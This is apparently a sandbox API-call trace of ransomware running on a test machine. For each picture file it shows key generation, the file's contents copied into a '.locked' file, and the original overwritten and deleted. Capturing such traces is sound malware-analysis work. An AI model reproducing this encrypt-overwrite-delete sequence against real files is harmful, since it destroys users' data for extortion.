	[0080.174] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.175] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.175] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.190] CloseHandle (hObject=0xc0) returned 1
	[0080.191] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\LaBjbBQtLto.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\labjbbqtlto.bmp")) returned 1
	[0080.194] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85deb130, ftCreationTime.dwHighDateTime=0x1d4c767, ftLastAccessTime.dwLowDateTime=0x26518d10, ftLastAccessTime.dwHighDateTime=0x1d4c937, ftLastWriteTime.dwLowDateTime=0x26518d10, ftLastWriteTime.dwHighDateTime=0x1d4c937, nFileSizeHigh=0x0, nFileSizeLow=0xe393)) returned 1
	[0080.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.194] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.195] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.195] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.195] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.195] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.197] SetEvent (hEvent=0x8c) returned 1
	[0080.197] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0xe393, lpOverlapped=0x0) returned 1
	[0080.200] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0xe393, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0xe393, lpOverlapped=0x0) returned 1
	[0080.201] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.201] CloseHandle (hObject=0xc4) returned 1
	[0080.201] CloseHandle (hObject=0xc0) returned 1
	[0080.201] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0080.202] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.202] SetEvent (hEvent=0x8c) returned 1
	[0080.202] SetEvent (hEvent=0xb4) returned 1
	[0080.202] SetEvent (hEvent=0x78) returned 1
	[0080.202] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.202] SetEvent (hEvent=0x78) returned 1
	[0080.202] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x62) returned 1
	[0080.204] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp")) returned 1
	[0080.222] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.223] SetEvent (hEvent=0xa8) returned 1
	[0080.223] SetEvent (hEvent=0xb4) returned 1
	[0080.227] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.227] SetEvent (hEvent=0xb4) returned 1
	[0080.227] SetEvent (hEvent=0x78) returned 1
	[0080.227] SetEvent (hEvent=0x8c) returned 1
	[0080.227] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.228] SetEvent (hEvent=0x8c) returned 1
	[0080.229] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.230] SetEvent (hEvent=0x8c) returned 1
	[0080.230] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.230] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.230] SetEvent (hEvent=0x8c) returned 1
	[0080.230] SetEvent (hEvent=0x78) returned 1
	[0080.230] SetEvent (hEvent=0xb4) returned 1
	[0080.230] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.231] SetEvent (hEvent=0xb4) returned 1
	[0080.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.232] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.232] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.252] CloseHandle (hObject=0xc0) returned 1
	[0080.252] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\Q5PB7o02I13DQV7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\q5pb7o02i13dqv7a.bmp")) returned 1
	[0080.256] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b47c010, ftCreationTime.dwHighDateTime=0x1d4ce13, ftLastAccessTime.dwLowDateTime=0x36dd0a40, ftLastAccessTime.dwHighDateTime=0x1d4d21c, ftLastWriteTime.dwLowDateTime=0x36dd0a40, ftLastWriteTime.dwHighDateTime=0x1d4d21c, nFileSizeHigh=0x0, nFileSizeLow=0x1910)) returned 1
	[0080.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.256] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.256] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.257] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.257] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.257] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.257] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.257] WriteFile (in: hFile=0xc4, lpBuffer=0x1250b000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1250b000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.259] SetEvent (hEvent=0x78) returned 1
	[0080.259] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x1910, lpOverlapped=0x0) returned 1
	[0080.260] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1910, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x1910, lpOverlapped=0x0) returned 1
	[0080.261] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.261] CloseHandle (hObject=0xc4) returned 1
	[0080.261] CloseHandle (hObject=0xc0) returned 1
	[0080.261] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.262] SetEvent (hEvent=0x78) returned 1
	[0080.262] SetEvent (hEvent=0xb4) returned 1
	[0080.262] SetEvent (hEvent=0x8c) returned 1
	[0080.262] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.262] SetEvent (hEvent=0xa8) returned 1
	[0080.262] SetEvent (hEvent=0x8c) returned 1
	[0080.262] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123d0000*, nNumberOfCharsToWrite=0x65, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123d0000*, lpNumberOfCharsWritten=0x127ee7d8*=0x65) returned 1
	[0080.264] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png")) returned 1
	[0080.281] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.282] SetEvent (hEvent=0xa8) returned 1
	[0080.282] SetEvent (hEvent=0xb4) returned 1
	[0080.286] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.286] SetEvent (hEvent=0xb4) returned 1
	[0080.286] SetEvent (hEvent=0x8c) returned 1
	[0080.286] SetEvent (hEvent=0x78) returned 1
	[0080.286] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.287] SetEvent (hEvent=0x78) returned 1
	[0080.288] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.288] SetEvent (hEvent=0x78) returned 1
	[0080.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.289] SetEvent (hEvent=0x78) returned 1
	[0080.289] SetEvent (hEvent=0x8c) returned 1
	[0080.289] SetEvent (hEvent=0xb4) returned 1
	[0080.289] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.289] SetEvent (hEvent=0xb4) returned 1
	[0080.289] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.290] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.291] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.309] CloseHandle (hObject=0xc0) returned 1
	[0080.324] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\_XRtmzx2efoMGGxzpc-.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\_xrtmzx2efomggxzpc-.png")) returned 1
	[0080.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49989b30, ftCreationTime.dwHighDateTime=0x1d4c6e7, ftLastAccessTime.dwLowDateTime=0x61701fb0, ftLastAccessTime.dwHighDateTime=0x1d4d44f, ftLastWriteTime.dwLowDateTime=0x61701fb0, ftLastWriteTime.dwHighDateTime=0x1d4d44f, nFileSizeHigh=0x0, nFileSizeLow=0x1816e)) returned 1
	[0080.327] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.327] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.328] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.328] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eeb48 | out: lpMode=0x127eeb48) returned 0
	[0080.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.329] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.329] WriteFile (in: hFile=0xc4, lpBuffer=0x1240f000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb24, lpOverlapped=0x0 | out: lpBuffer=0x1240f000*, lpNumberOfBytesWritten=0x127eeb24*=0x80, lpOverlapped=0x0) returned 1
	[0080.331] SetEvent (hEvent=0x8c) returned 1
	[0080.331] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x1816e, lpOverlapped=0x0) returned 1
	[0080.336] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x1816e, lpNumberOfBytesWritten=0x127eeb20, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb20*=0x1816e, lpOverlapped=0x0) returned 1
	[0080.338] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb14, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb14*=0x0, lpOverlapped=0x0) returned 1
	[0080.338] CloseHandle (hObject=0xc4) returned 1
	[0080.339] CloseHandle (hObject=0xc0) returned 1
	[0080.339] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.339] SetEvent (hEvent=0x8c) returned 1
	[0080.339] SetEvent (hEvent=0xb4) returned 1
	[0080.339] SetEvent (hEvent=0x78) returned 1
	[0080.339] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.340] SetEvent (hEvent=0x78) returned 1
	[0080.340] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x123ce000*, nNumberOfCharsToWrite=0x57, lpNumberOfCharsWritten=0x127ee7d8, lpReserved=0x0 | out: lpBuffer=0x123ce000*, lpNumberOfCharsWritten=0x127ee7d8*=0x57) returned 1
	[0080.343] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png")) returned 1
	[0080.362] SetEvent (hEvent=0xb4) returned 1
	[0080.366] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.366] SetEvent (hEvent=0xb4) returned 1
	[0080.366] SetEvent (hEvent=0x78) returned 1
	[0080.366] SetEvent (hEvent=0x8c) returned 1
	[0080.366] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.367] SetEvent (hEvent=0x8c) returned 1
	[0080.368] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.369] SetEvent (hEvent=0xa8) returned 1
	[0080.369] SetEvent (hEvent=0x8c) returned 1
	[0080.369] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.370] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0080.370] SetEvent (hEvent=0x8c) returned 1
	[0080.370] SetEvent (hEvent=0x78) returned 1
	[0080.370] SetEvent (hEvent=0xb4) returned 1
	[0080.370] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.370] SetEvent (hEvent=0xa8) returned 1
	[0080.370] SetEvent (hEvent=0xb4) returned 1
	[0080.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.371] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eec34 | out: lpMode=0x127eec34) returned 0
	[0080.372] WriteFile (in: hFile=0xc0, lpBuffer=0x12b28000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x127eec24, lpOverlapped=0x0 | out: lpBuffer=0x12b28000*, lpNumberOfBytesWritten=0x127eec24*=0xfa000, lpOverlapped=0x0) returned 1
	[0080.389] CloseHandle (hObject=0xc0) returned 1
	[0080.389] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\nfUwoUB1n_4-BMrmBju\\jNuwK.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\nfuwoub1n_4-bmrmbju\\jnuwk.png")) returned 1
	[0080.393] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif"), fInfoLevelId=0x0, lpFileInformation=0x123fc198 | out: lpFileInformation=0x123fc198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b929c90, ftCreationTime.dwHighDateTime=0x1d4d1ee, ftLastAccessTime.dwLowDateTime=0x130f1b20, ftLastAccessTime.dwHighDateTime=0x1d4c782, ftLastWriteTime.dwLowDateTime=0x130f1b20, ftLastWriteTime.dwHighDateTime=0x1d4c782, nFileSizeHigh=0x0, nFileSizeLow=0x18f90)) returned 1
	[0080.393] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.393] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\IdM m5ZZBkUoa\\reXngcfSm.gif.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\idm m5zzbkuoa\\rexngcfsm.gif.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.394] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.394] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c460 | out: pbBuffer=0x1238c460) returned 1
	[0080.394] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x12796110 | out: pbBuffer=0x12796110) returned 1
	[0080.394] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416081 | out: pbBuffer=0x12416081) returned 1
	[0080.394] WriteFile (in: hFile=0xc4, lpBuffer=0x12509000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x12509000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0080.397] SetEvent (hEvent=0x78) returned 1
	[0080.397] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x18f90, lpOverlapped=0x0) returned 1
	[0080.400] WriteFile (in: hFile=0xc4, lpBuffer=0x12c22000*, nNumberOfBytesToWrite=0x18f90, lpNumberOfBytesWritten=0x127eeb84, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesWritten=0x127eeb84*=0x18f90, lpOverlapped=0x0) returned 1
	[0080.402] ReadFile (in: hFile=0xc0, lpBuffer=0x12c22000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c22000*, lpNumberOfBytesRead=0x127eeb78*=0x0, lpOverlapped=0x0) returned 1
	[0080.402] CloseHandle (hObject=0xc4) returned 1
	[0080.402] CloseHandle (hObject=0xc0) returned 1
	[0080.402] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0080.403] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] SetEvent (hEvent=0x78) returned 1
	[0080.403] SetEvent (hEvent=0xb4) returned 1
	[0080.403] SetEvent (hEvent=0x8c) returned 1
	[0080.403] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0080.403] SetEvent (hEvent=0x8c) returned 1
